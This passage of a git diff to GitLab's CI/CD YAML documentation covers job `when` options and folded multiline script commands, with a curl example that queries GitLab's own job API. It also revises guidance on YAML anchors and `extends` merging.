to configure a variable to be expandable or not. @@ -4394,7 +4439,7 @@ the default value is `when: on_success`. or have `allow_failure: true`. - `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually). - `always`: Run the job regardless of the status of jobs in earlier stages. Can also be used in `workflow:rules`. -- `on_failure`: Run the job only when at least one job in an earlier stage fails. +- `on_failure`: Run the job only when at least one job in an earlier stage fails. A job with `allow_failure: true` is always considered successful. - `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay) for a specified duration. - `never`: Don't run the job. Can only be used in a [`rules`](#rules) section or `workflow: rules`. diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 1d3186a4047..1c31191c2f4 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -203,7 +203,7 @@ job: - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again." ``` -You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables), +You can define the color codes in Shell environment variables, or even [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), which makes the commands easier to read and reusable. For example, using the same example as above and environment variables defined in a `before_script`: @@ -284,3 +284,59 @@ job-fails: - (invalid-command xyz && invalid-command abc) - echo "The job failed already, and this is not executed." ``` + +### Multiline commands not preserved by folded YAML multiline block scalar + +If you use the `- >` folded YAML multiline block scalar to split long commands, +additional indentation causes the lines to be processed as individual commands. + +For example: + +```yaml +script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) +``` + +This fails as the indentation causes the line breaks to be preserved: + +<!-- vale gitlab.CurlStringsQuoted = NO --> + +```plaintext +$ RESULT=$(curl --silent # collapsed multi-line command +curl: no URL specified! +curl: try 'curl --help' or 'curl --manual' for more information +/bin/bash: line 149: --header: command not found +/bin/bash: line 150: https://gitlab.example.com/api/v4/job: No such file or directory +``` + +<!-- vale gitlab.CurlStringsQuoted = YES --> + +Resolve this by either: + +- Removing the extra indentation: + + ```yaml + script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) + ``` + +- Modifying the script so the extra line breaks are handled, for example using shell line continuation: + + ```yaml + script: + - > + RESULT=$(curl --silent \ + --header \ + "Authorization: Bearer $CI_JOB_TOKEN" \ + "${CI_API_V4_URL}/job") + ``` diff --git a/doc/ci/yaml/yaml_optimization.md b/doc/ci/yaml/yaml_optimization.md index 5344a999b95..07019a2776f 100644 --- a/doc/ci/yaml/yaml_optimization.md +++ b/doc/ci/yaml/yaml_optimization.md @@ -13,7 +13,7 @@ files by using: - YAML-specific features like [anchors (`&`)](#anchors), aliases (`*`), and map merging (`<<`). Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). - The [`extends` keyword](#use-extends-to-reuse-configuration-sections), - which is more flexible and readable. We recommend you use `extends` where possible. + which is more flexible and readable. You should use `extends` where possible. ## Anchors @@ -21,10 +21,20 @@ YAML has a feature called 'anchors' that you can use to duplicate content across your document. Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](../jobs/index.md#hide-jobs) -to provide templates for your jobs. When there are duplicate keys, GitLab -performs a reverse deep merge based on the keys. +to provide templates for your jobs. When there are duplicate keys, the latest included key wins, overriding the other keys. -You can use YAML anchors to merge YAML arrays. +In certain cases (see [YAML anchors for scripts](#yaml-anchors-for-scripts)), you can use YAML anchors to build arrays with multiple components defined elsewhere. For example: + +```yaml +.default_scripts: &default_scripts + - ./default-script1.sh + - ./default-script2.sh + +job1: + script: + - *default_scripts + - ./job-script.sh +``` You can't use YAML anchors across multiple files when using the [`include`](index.md#include) keyword. Anchors are only valid in the file they were defined in. To reuse configuration @@ -43,12 +53,12 @@ with their own custom `script` defined: - redis test1: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test1 project test2: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test2 project ``` @@ -189,30 +199,6 @@ job2: - *some-script-after ``` -### YAML anchors for variables - -Use [YAML anchors](#anchors) with `variables` to repeat assignment -of variables across multiple jobs. You can also use YAML anchors when a job -requires a specific `variables` block that would otherwise override the global variables. - -The following example shows how override the `GIT_STRATEGY` variable without affecting -the use of the `SAMPLE_VARIABLE` variable: - -```yaml -# global variables -variables: &global-variables - SAMPLE_VARIABLE: sample_variable_value - ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value - -# a job that must set the GIT_STRATEGY variable, yet depend on global variables -job_no_git_strategy: - stage: cleanup - variables: - <<: *global-variables - GIT_STRATEGY: none - script: echo $SAMPLE_VARIABLE -``` - ## Use `extends` to reuse configuration sections You can use the [`extends` keyword](index.md#extends) to reuse configuration in @@ -331,8 +317,9 @@ to the contents of the `script`: ### Merge details You can use `extends` to merge hashes but not arrays. -The algorithm used for merge is "closest scope wins," so -keys from the last member always override anything defined on other +The algorithm used for merge is "closest scope wins". When there are +duplicate keys, GitLab performs a reverse deep merge based on the keys. +Keys from the last member always override anything defined on other levels. For example: ```yaml |
